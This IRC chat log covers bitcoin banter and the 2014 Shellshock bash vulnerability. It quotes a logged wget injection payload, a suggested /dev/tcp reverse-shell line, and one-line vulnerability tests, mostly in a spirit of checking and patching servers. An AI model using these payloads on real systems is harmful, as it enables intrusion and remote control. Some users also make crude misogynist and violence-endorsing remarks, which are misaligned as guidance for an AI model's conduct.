assbot Last 3 lines bashed and pending review. ( ) [19:51]
mircea_popescu if you're going there why not root for fiddy cent sdirectly. [19:51]
nubbins` for future reference [19:51]
mats_cd03 that works for me too [19:52]
nubbins` where in the fuck did i put my soldering iron? srsly. [19:52]
mircea_popescu up someone's butt ? [19:52]
nubbins` nah i quit gov't work long ago [19:52]
mircea_popescu well you did say "in the fuck"... [19:52]
nubbins` be creative! [19:52]
ThickAsThieves lol [19:52]
mircea_popescu !b 2 [19:53]
assbot Last 2 lines bashed and pending review. ( ) [19:53]
mircea_popescu now THAT [19:53]
mircea_popescu 'll make you look bad tat :D [19:53]
nubbins` gotta be quick if you wanna !b [19:53]
ThickAsThieves the jig is up [19:53]
nubbins` gotta !b quick [19:53]
mircea_popescu you know that's what the tits command should be. !jig [19:54]
ben_vulpes urethrathermal cryptanalysis [19:56]
mircea_popescu jurov: emphasis theirs. dis gon b gud. <<< in that particular way... [19:56]
ThickAsThieves do we even haz tits anymoar? [19:56]
ThickAsThieves what was the command? [19:56]
ben_vulpes ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan. [19:56]
Duffer1 .bait [19:56]
ben_vulpes !bait [19:56]
ThickAsThieves ah [19:56]
ben_vulpes ah yeah [19:56]
ThickAsThieves .bait [19:56]
Duffer1 assbot hates our freedom [19:57]
mircea_popescu kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund [19:57]
ThickAsThieves short everything [19:57]
mircea_popescu #bate [19:57]
mircea_popescu kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D [19:58]
ThickAsThieves interesting that throw this downturn, NMC has actually been the least affected [19:59]
ThickAsThieves through* [19:59]
ThickAsThieves nmc/btc i mean [19:59]
mircea_popescu ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now. [20:00]
ThickAsThieves i was thinkin, why didnt they just scan forge it, cmon now [20:00]
asciilifeform mircea_popescu:,amazon-forced-to-reboot-ec2-to-patch-xen-bug.aspx << possibly relevant to your latest item [20:00]
assbot Amazon forced to reboot EC2 to patch Xen bug - Storage - News - [20:00]
mircea_popescu mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront. [20:00]
asciilifeform likely, some bozo found (and used) a xen 'vm escape.' [20:01]
mircea_popescu i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors. [20:01]
mircea_popescu and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move. [20:01]
ben_vulpes ThickAsThieves: doge is up [20:01]
ThickAsThieves to no good [20:01]
mircea_popescu lol [20:01]
ben_vulpes hue [20:01]
mats_cd03 i can't afford to flee. i have yet to bump four digit vidya game coins. [20:02]
assbot [HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share [20:02]
ThickAsThieves you need 1000btc to move now? [20:02]
asciilifeform yes. [20:02]
ThickAsThieves oh you mean $1000btc [20:02]
asciilifeform both. [20:02]
* asciilifeform speaks for self [20:03]
ThickAsThieves ascii theyll never let you leave [20:03]
mats_cd03 yes for the first, no for the second. 1000btc is my goalpost. [20:04]
ThickAsThieves russian cryptographer caught fleeing country [20:04]
asciilifeform ThickAsThieves: at present, the door opens when i open it. just end up having to go back inside to eat. [20:04]
mircea_popescu mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate. [20:04]
ThickAsThieves particularly when you consider how few will ever hold that many [20:05]
mircea_popescu ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook. [20:06]
mircea_popescu "pay us money, you get a facemorph of all the people in your demo." [20:06]
ThickAsThieves currently about 1500 wallets with 1000+btc [20:08]
* nam-shub has quit () [20:08]
ThickAsThieves so maybe another 500 that split theirs up [20:08]
ThickAsThieves at most [20:08]
ThickAsThieves or -500 for multiple wallets being the same owner [20:09]
mats_cd03 my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job. [20:11]
ThickAsThieves yeah i think this year's lows may never be seen again [20:12]
asciilifeform ThickAsThieves: they'll easily be seen again when another wretch, like dpr, is captured and sat upon an anthill until he coughs up private key [20:12]
asciilifeform and then buterin's waterfall, again. [20:13]
ThickAsThieves cept the floor keeps rising [20:13]
mike_c perhaps not. we didn't see double digits (yet) this year [20:13]
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ThickAsThieves maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash [20:18]
mircea_popescu asciilifeform this time they won't say. [20:18]
mircea_popescu they didn't understand there's a mp. it hurt. won't repeat mistakes next time. [20:18]
* asciilifeform still doesn't grasp why 'they said' last time. [20:20]
mircea_popescu idiots in charge. [20:20]
mircea_popescu anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue. [20:21]
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ThickAsThieves tis bliss [20:22]
ThickAsThieves so bfl raid was real [20:24]
nubbins` so apparently they found a backdoor in the shellshock patch on github, hey? [20:24]
nubbins` lel jk [20:24]
mircea_popescu llol? [20:24]
ThickAsThieves every good backdoor has a backdoor [20:25]
asciilifeform called 'front door' [20:25]
ThickAsThieves funny they never call it that in sexual context [20:25]
nubbins` front-bum [20:26]
nubbins` back that front-bum up, etc [20:26]
chetty [20:28]
assbot Argentina uses drones to root out wealthy tax evaders - Telegraph [20:28]
ThickAsThieves top door [20:28]
mircea_popescu argentina has taxes ?! [20:32]
kakobrekla also chump-choppas [20:33]
mircea_popescu either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth [20:33]
rithm [20:37]
assbot Gear Love Will Inc. and BitPay at Georgia Tech [20:37]
rithm The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new ‘Jacket Wallet’, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus. [20:38]
mircea_popescu heh [20:38]
rithm i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums [20:38]
rithm now you got alumni doing the mit thing [20:38]
rithm the bitcoin society is most likely fraternal too if I had to bet [20:39]
rithm some type of judeo christian ritual involved [20:40]
rithm but now i sound like atlas [20:40]
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ThickAsThieves ;;estimate [20:42]
gribble Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days [20:42]
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bounce waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air [20:46]
kakobrekla [20:46]
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asciilifeform argentina drones, unregistered real estate << and none of this happened with ordinary piloted airplanes ? [20:48]
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asciilifeform it is really a unique sort of retardation when people pretend like airplane was just invented now. [20:49]
kakobrekla mebbe its more fear of machines than taxes [20:51]
kakobrekla but combine the both and you get a selling sensation [20:51]
bounce of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash. [20:52]
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chetty you need an airplane to discover a house? [20:53]
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bounce dunno. if it's large enough plots with lots of trees, maybe. [20:55]
kakobrekla prolly cheaper and perhaps safer? [20:58]
kakobrekla crashing plane vs crashing drone [20:58]
Naphex woot, so bash env backdoor, who would've tought :o [20:59]
Naphex people running CGI must be blowing their minds right now [20:59]
jurov ;;titlasers should be a thing [21:01]
gribble Error: "titlasers" is not a valid command. [21:01]
nubbins` WELL IT SHOULD BE [21:01]
asciilifeform ;;later tell ben_vulpes puzzle, because am n00b: << why does parting tool produce a spiral finish? and what determines the geometry of the spiral? [21:01]
gribble The operation succeeded. [21:01]
assbot Why? - Imgur [21:01]
nubbins` the bigger question is why you airbrushed your fingertips [21:03]
asciilifeform wanted to see if anyone would notice. [21:04]
nubbins` "those tippies are unusually smooth", i said to myself [21:04]
asciilifeform (fingers were already published, for anyone who needs my fingertips to unlock a nuke or whatever) [21:04]
Naphex !s inurl:cgi-bin [21:07]
assbot 0 results for 'inurl:cgi-bin' : [21:07]
mike_c inurl is optimistic. [21:14]
mike_c !s cgi-bin [21:14]
assbot 11 results for 'cgi-bin' : [21:14]
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mike_c sweet, paypal! [21:14]
Naphex lots of .govs love it too [21:15]
Naphex they're quick to update [21:15]
Naphex inurl:cgi-bin - assume direct control [21:16]
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mircea_popescu o look who's here [21:18]
mircea_popescu who's life Naphex [21:18]
Naphex i'm always here :P [21:18]
Naphex fine, pretty boring actually [21:19]
Naphex people be pentesting [25/Sep/2014:21:02:23 +0300] "GET HTTP/1.0" 200 17528 "() { :;}; /usr/bin/wget" "() { :;}; /usr/bin/wget" [21:20]
assbot Whoops! Somebody divided by zero... | - Bitcoin Exchange Platform with 0% transaction fees [21:20]
Naphex what a stupid payload to even ping back [21:21]
* assbot gives voice to napedia [21:21]
Naphex could've just used a reverse echo "code" >& /dev/tcp/ 0>&1 [21:21]
Naphex instead of wget [21:21]
asciilifeform so when do we learn the name of the malicious-c-contest artist who gave us 'shellshock' ? [21:22]
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asciilifeform (and yes - we know author of 'heartbleed.' and he's alive and well and still contributing code to public projects, afaik. why? don't ask me) [21:23]
mircea_popescu "Username/password combinations don’t cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it." [21:23]
mircea_popescu from brandon potter's expertise den [21:23]
jurov bad news come in pairs [21:24]
assbot MFSA 2014-73: RSA Signature Forgery in NSS [21:24]
mircea_popescu in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever. [21:24]
mircea_popescu jesus. [21:24]
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mircea_popescu jurov PKI was unusable for reason of insecurity anway [21:26]
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mircea_popescu ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it. [21:27]
mircea_popescu and they'll probably meet, and have a child. [21:27]
mircea_popescu and it'll have a funny little moustache. [21:27]
asciilifeform feminist environmentalist dies of contradiction - hormonal pills, pissed out into the ground water, destroying rare fish - etc. [21:28]
jurov such gems i keep finding today. hardened bluetooth!!1 [21:30]
assbot BitStash [21:30]
mircea_popescu bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ? [21:30]
mircea_popescu this is exactly what's going on. kids are wired to monkey, so they monkey. [21:31]
asciilifeform jurov: mega-lol! great find. [21:31]
mircea_popescu asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is. [21:31]
asciilifeform which guy [21:31]
mircea_popescu the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience. [21:32]
asciilifeform aha [21:32]
mircea_popescu after he rolls her around in flour to see where it sticks they have long soulfull talk [21:32]
asciilifeform jurov: am i the only one who instantly thought 'dust bin' ? [21:32]
mircea_popescu and decide that condoms are bad for africa and pills bad for the environment [21:32]
mircea_popescu since they can't find a sponge that comfortably fits a calender [21:32]
mircea_popescu they end up having kids. [21:33]
jurov asciilifeform: me too. but that's the usg-approved look [21:33]
asciilifeform i finally realized - they cribbed the 'dust bin' from -- apple. [21:34]
asciilifeform (who, of late, have actually been selling a computer in that shape.) [21:34]
mircea_popescu who's dekker3d [21:36]
mircea_popescu ;;seen Dekker3D [21:36]
gribble Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: I remember someone who used this. [21:36]
mircea_popescu weird. [21:37]
mircea_popescu mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine. [21:40]
mircea_popescu this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated. [21:41]
mircea_popescu not all language change is created equal. [21:41]
mircea_popescu chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation. [21:43]
mircea_popescu mike_c: meet behind the school at noon << yo! [21:44]
mike_c seemed to be heading that direction :) [21:44]
mircea_popescu mike_c [21:44]
mircea_popescu oops [21:44]
midnightmagic mike_c MiningBuddy mircea_popescu mius mixdio [21:44]
asciilifeform << mega-lol [21:45]
assbot • View topic - Linux/Bash0day alias Shellshock alias Bashdoor [21:45]
mircea_popescu bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point [21:46]
mircea_popescu ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you. [21:46]
mircea_popescu this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway. [21:47]
mircea_popescu the variety speak is not the words, it's the variety. [21:47]
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mircea_popescu which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++; [21:49]
mircea_popescu people figured it'd work maybe if you not teach him to say goto 10 [21:49]
mircea_popescu but really, that's just as much nonsense. [21:49]
* assbot gives voice to wywialm [21:50]
wywialm mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong [21:50]
mircea_popescu it'd better, inasmuch wittgenstein was right :) [21:51]
mircea_popescu for that matter, it's a direct pastiche of knight, “You cannot fix a machine by just power-cycling it with no understanding of what is going wrong.” [21:52]
wywialm I recall something close stated in Investigations, in the flavour of "the meaning is use" [21:53]
mircea_popescu wywialm no, you're right, it's just... it's a fundamental idea that saw much expression. [21:54]
* assbot gives voice to kuzetsa [21:54]
mircea_popescu "map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison. [21:54]
wywialm Oh, yeah. In this we certainly agree [21:55]
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kuzetsa Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :( [21:56]
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mircea_popescu jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed. [21:59]
mircea_popescu so if your per line price can be few enough satoshi, this is a valid business model. [21:59]
asciilifeform obligatory: [22:01]
asciilifeform [22:01]
assbot The Underhanded C Contest [22:01]
Naphex kuzetsa: you should check logs, make sure you're not owned [22:01]
Naphex grep for "() {" [22:01]
asciilifeform mircea_popescu: code auditing without a serious 'poison pill contract' turns into 'elephant repellant.' [22:01]
mircea_popescu jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring. [22:01]
mircea_popescu no, they aren't ; if they were it'd be suicidal. [22:01]
mircea_popescu asciilifeform the wot is the poison pill. [22:02]
mircea_popescu consider the culture shock a certain justin o'connell endured at my hands : [22:02]
assbot So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu. [22:02]
mircea_popescu he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit. [22:02]
mircea_popescu the wot cuts right through that. [22:02]
mircea_popescu all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy. [22:03]
mircea_popescu once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only. [22:04]
asciilifeform security by auditing extant mega-turds is rather like muscle-powered airplane [22:04]
mircea_popescu except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population [22:04]
asciilifeform yes, they exist. yes, olympic athletes have lifted two metres high for two minutes. [22:04]
mircea_popescu asciilifeform all flight started with the galley slave. [22:05]
mircea_popescu the reason airbus is a thing is because the romans forced men to push oars. [22:05]
mircea_popescu 2k years ago [22:05]
asciilifeform yes - but where are the oars on 'airbus' ? [22:05]
mircea_popescu same place your elithrae are. [22:05]
mircea_popescu just because they meanwhile fell off doesn't mean you didn't need them to get here. [22:05]
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asciilifeform mircea_popescu: the basic problem is that anyone who tells you that he can do this job - is a liar, right off the bat [22:07]
mircea_popescu i don't think you properly understand grinding. [22:07]
asciilifeform so you end up with a sub-wot for this that's 100 percent scammer by weight. [22:07]
mircea_popescu in order for the job to be done, nobody needs to do it. [22:07]
asciilifeform nothing to distill. [22:07]
mircea_popescu which stone in the roller made the quartz round ? [22:08]
mircea_popescu you don't need round stones to produce round stones. you just need a rotative process. [22:08]
asciilifeform which stone in the roller << this is the basic premise behind 'many eyes' theory, - and we know it is empirically false. [22:08]
mircea_popescu it's only empirically false because it's so easy to lie. [22:08]
mircea_popescu sign where you read. no longer false. [22:08]
mircea_popescu let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids. [22:09]
mircea_popescu they come home with eight in the best case. [22:09]
mircea_popescu case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder. [22:10]
mircea_popescu unless a meteor falls, they're coming home with 10 kids. [22:10]
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mircea_popescu there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since. [22:10]
mircea_popescu in fact, it's the sentinels that distinguish army from band of drunken revelers. [22:11]
asciilifeform mircea_popescu: different gedankenexperiment. take redditgurlz, say a dozen. lock them in a dungeon, no food until invent hydrogenbomb. [22:11]
asciilifeform do you get bomb ? [22:11]
mircea_popescu i will, yes. [22:11]
mircea_popescu as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot. [22:11]
asciilifeform russian saying 'you can't mold a bullet from shit' isn't strictly true - you could, had you sufficient energy, convert the shit into diamond and have bullet [22:12]
mircea_popescu quite [22:12]
mircea_popescu besides. there's iron in the heme that the shit is mostly comprised of. [22:12]
asciilifeform but if engineer tells you this, you will kick him. [22:12]
mircea_popescu depends of the context. [22:12]
asciilifeform context of 'i need a box of bullets' [22:13]
mircea_popescu the goal is not the context. [22:13]
mircea_popescu if he says this sitting right next to a lathe i'm going to smack his head on the lathe. [22:13]
mircea_popescu if in a worldwide septic tank, we're going for it. [22:13]
mircea_popescu you, in fact, are currently and have been for a year, molding a bullet. [22:13]
mircea_popescu out of... [22:13]
asciilifeform piss. [22:14]
asciilifeform not easy. [22:14]
mircea_popescu whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer. [22:14]
asciilifeform notice that the analogy is closer than one might like [22:14]
asciilifeform to create the bullet from shit-diamond, it is necessary to remove most of the extraneous matter. [22:15]
kuzetsa [14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what? [22:15]
asciilifeform conceivably, most of the mass present. [22:15]
mircea_popescu asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all. [22:15]
mircea_popescu kuzetsa the server in question ? [22:15]
mike_c these methods (beating, wot, etc) could be applied to new software [22:16]
mike_c if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods [22:16]
kuzetsa mircea_popescu: but... I don't have any cgi on the httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise) [22:16]
mike_c but to audit existing btc wallet? forget it. [22:16]
mircea_popescu mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model. [22:16]
Naphex apache still passes stuff through env by default [22:16]
mircea_popescu kuzetsa reading logs never killed anyone. [22:16]
Naphex but it should be no problem unless thet env hits apache [22:16]
kuzetsa Naphex: I don't use apache [22:16]
mircea_popescu if the process of figuring out what is safe worked, we wouldn't have the bug in the first place. [22:17]
Naphex nginx / php fpm/ fast cgi all pass env as well [22:17]
asciilifeform also it is possible that i used a bad example. man has indeed invented hydrogen bomb. but securing 50 years of turdolade by 'fixing mistakes' is more akin to jumping 1km. no athlete has jumped 1km, and beatings will not create one. [22:17]
Naphex and if that env hits bash it runs [22:17]
mircea_popescu asciilifeform point is not to fix anything. [22:17]
Naphex kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails [22:18]
mircea_popescu we're not here for a goal, we're here because a cause. major fucking difference. [22:18]
Naphex so any mail filters, spam filters [22:18]
mircea_popescu Naphex also some ssl/ssh/etc [22:18]
kuzetsa Naphex: I don't have any mail daemon on that particular system either [22:18]
mike_c what? how is env getting set if no cgi/bash shit? [22:19]
Naphex mircea_popescu: yeah but that doesn't hit sh until successful login [22:19]
mircea_popescu still. [22:19]
Naphex mike_c: env is general POSIX [22:19]
Naphex all apps use it [22:19]
rithm my spam filter is roll-your-own [22:19]
asciilifeform until the entire machine stack (chemical, electronic, os, etc) fits in a human mind - doesn't have to be that of alcoholic bum off the street, could be six people alive - then you have a system a reasonable man will sign his life under. [22:19]
Naphex and pass it around, if corrupted env hits bash it runs and the end [22:19]
mike_c yes, but i thought shocky thingy required cgi/bash to chane env [22:19]
rithm my testing alligns with what Naphex just said about authentication [22:20]
Naphex mike_c: no, you can change env regardless, its just that if bash interpets the env it runs [22:20]
mike_c shit, i gotta read more. [22:20]
mircea_popescu asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory. [22:20]
asciilifeform one can chop heads if job is not done, but if it isn't doable given the available constraints - you just end with a tall pile of heads [22:20]
mircea_popescu how is it done ? why, by not acting towards a goal, but from a cause. [22:20]
kuzetsa mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables [22:21]
asciilifeform well sure - ultimately all organization is based on this [22:21]
mircea_popescu quite. [22:21]
Naphex rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run [22:21]
Naphex just patch it, and killall -TERM sh/ bash and you're set [22:21]
mike_c kuzetsa: ok, thanks [22:21]
asciilifeform but the analogy falls apart here. what we have, in organization, is cray's 1024 chickens. [22:21]
kuzetsa Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :) [22:22]
mircea_popescu ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program" [22:22]
mircea_popescu Naphex wasn't the patch bad ? [22:22]
asciilifeform unless you can actually build 'borg' that share a mind, rather than just army or clan, the organization cannot understand mechanisms too large for the cleverest member to understand. for any useful value of 'understand.' [22:22]
asciilifeform this is the fundamental reason why 'software sucks' [22:22]
mircea_popescu asciilifeform mechanisms are simple. [22:22]
kuzetsa mircea_popescu: there's 2 different patches [22:22]
mike_c old news? asciilifeform: Stephane Chazelas is author. [22:23]
mircea_popescu that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple. [22:23]
mircea_popescu kuzetsa a yea nm. [22:23]
Naphex mircea_popescu: gentoo has good patch out [22:23]
asciilifeform low intrinsic complexity - yes. encrusted with 'accidental complexity - also yes. [22:23]
mircea_popescu bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up. [22:23]
Naphex 201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash ) [22:23]
mircea_popescu rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots. [22:24]
kuzetsa the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash) [22:24]
xmj lovely [22:24]
xmj kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC [22:25]
rithm just wait until drive-by downloads start exploiting dd-wrt or something [22:25]
rithm then it'll get fun [22:25]
kuzetsa yeah, I have 7169 patched [22:25]
mircea_popescu ;;google debian 7169 patch [22:25]
gribble CVE-2014-7169: Bash Fix Incomplete, Still Exploitable | Hacker News: ; What is the CVE-2014-6271 bash vulnerability, and how do I fix it?: ; (CVE-2014-6271) bug introduced, and what is the patch that fully: (1 more message) [22:25]
mircea_popescu heh. [22:25]
kuzetsa ubuntu dragged their backside too [22:26]
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mircea_popescu debian != ubuntu omg. [22:27]
nubbins` debian = ubuntu in the sense that england = usa [22:28]
mircea_popescu export badvar='() { (a)=>';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it [22:28]
Naphex mircea_popescu: its a stupid check lol [22:30]
rithm [22:30]
assbot This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News [22:30]
asciilifeform mircea_popescu: recall how self-proclaimed (or accused...) alchemists were treated. do you mean to say that, if they were put through the right punishments, they would have discovered neutron bombardment synthesis of Au at economical price? [22:30]
rithm cloudflare examples [22:30]
Naphex mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash [22:30]
Naphex safe check [22:30]
mike_c so.. just b/c you have vulnerable bash doesn't mean you got pwned. [22:30]
mircea_popescu Naphex no thaths the 6271 one [22:30]
kuzetsa :) [22:30]
kuzetsa mircea_popescu: I was just thinking the same thing [22:30]
mike_c any good way to check if you're actually vulnerable? [22:30]
mircea_popescu this is the 7169 one, where it fucks up the exporting circumventing the fix [22:31]
mircea_popescu mike_c i just quoted it above [22:31]
mircea_popescu i also quoted a test for 6271 yest. [22:31]
mircea_popescu !s from:mircea_popescu env [22:31]
assbot 4 results for 'from:mircea_popescu env' : [22:31]
mike_c yes, that checks if bash is vuln. [22:31]
mike_c doesn't mean your box is open. [22:31]
Naphex mike_c: check is simple cause bash shouldn't run anything in the env [22:31]
mircea_popescu mike_c checking if your box is open is something you'll haveto do yourself. [22:32]
mike_c of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable http request. [22:32]
Naphex var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash [22:32]
rithm bash: warning: varname: ignoring function definition attempt [22:32]
rithm bash: error importing function definition for `varname' [22:32]
mircea_popescu mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm [22:32]
rithm seeing something like that is bueno [22:32]
mircea_popescu so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave. [22:34]
mircea_popescu their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever. [22:34]
mike_c not even a keyid? [22:35]
mircea_popescu not even a keyid. [22:35]
mircea_popescu they have a specially printed bag [22:35]
mircea_popescu which has like a picture on it and that's that. [22:35]
mircea_popescu ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay. [22:36]
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asciilifeform also wtf means 'safe' ? [22:37]
mircea_popescu TomServo: Would an audit even be useful without a specification? << perhaps, yes. [22:37]
mircea_popescu doctors have been doing ok auditing the human body w/o any spec for a while now. [22:37]
mircea_popescu asciilifeform ^ :D [22:38]
* asciilifeform was never obsessed with 'spec' - but does think that one must arrive at what question is being answered before attempt is meaningful [22:38]
asciilifeform for human body, death is the unambiguous spec [22:39]
asciilifeform to test against. [22:39]
mircea_popescu "what means safe" "what means healthy" [22:39]
rithm fuzz the captcha! [22:39]
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mike_c gee, every single one of my ec2 servers is scheduled for a reboot now. [22:39]
mircea_popescu mike_c: security audit is basically impossible. <<< im unconvinced. [22:40]
mircea_popescu it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits. [22:40]
mircea_popescu in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator. [22:41]
mircea_popescu !up myriarity [22:41]
-assbot- You voiced myriarity for 30 minutes. [22:41]
* assbot gives voice to myriarity [22:41]
asciilifeform mircea_popescu: runaway complexity may be intrinsic in von neumann paradigm. [22:41]
mircea_popescu maybe. still, a lot can be done until one runs into such walls. [22:42]
mike_c my point is you can't take existing turd and audit it to security. [22:42]
mike_c if you start with security in mind, then audits can be useful process during development. [22:42]
mircea_popescu certainly right there. [22:42]
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mircea_popescu myriadgetsmehard you know you're voiced. [22:43]
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mircea_popescu or were. [22:43]
asciilifeform and what's a 'ria' ? [22:44]
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mircea_popescu lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p [22:45]
mircea_popescu The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence. [22:48]
mircea_popescu Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc! [22:49]
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mod6 %p [22:53]
atcbot >> No data returned from << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s [22:53]
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jurov drat. updated centos/ubuntu, still vulnerable [23:37]
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asciilifeform so when do we get to see a public and fleshy punishment of author ? [23:38]
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kakobrekla never? [23:39]
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kakobrekla im just approximating here. [23:40]
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* asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever. [23:42]
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kakobrekla peer review scape goat? [23:42]
asciilifeform perhaps. [23:42]
asciilifeform i vaguely recall that mr. hearbleed was a pedigreed вредитель though. [23:43]
asciilifeform and still it was paraded as 'bug' - disembodied 'bug', that was placed there by the hand of god, or whatever [23:44]
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asciilifeform and not by a pair of hands attached to a sniveling shill [23:44]
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mike_c oh. (smacks face) I was talking about author of exploit before, not bug. sorry for misinformation. [23:48]
asciilifeform lol [23:48]
* assbot gives voice to nubbins` [23:48]
nubbins` you mean seggelmann or henson? [23:49]
nubbins` (or both?) [23:49]
mike_c 20 year old bug, good luck figuring out author. [23:49]
asciilifeform easier, in some cases, then modern piles of shit with 1000 authors [23:49]
thestringpuller mircea_popescu: the most there is is me going on the record that .6.* is probably okay. << This sounded like a cartoon. Like the Family Guy cut away where the dude throws him a parachute with an anvil in it and says, "That one is probably okay" [23:54]
thestringpuller not equating the two, just saying similar tone. [23:55]
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thestringpuller << via our evoorhees [23:56]
thestringpuller dunno why I said "our" [23:57]
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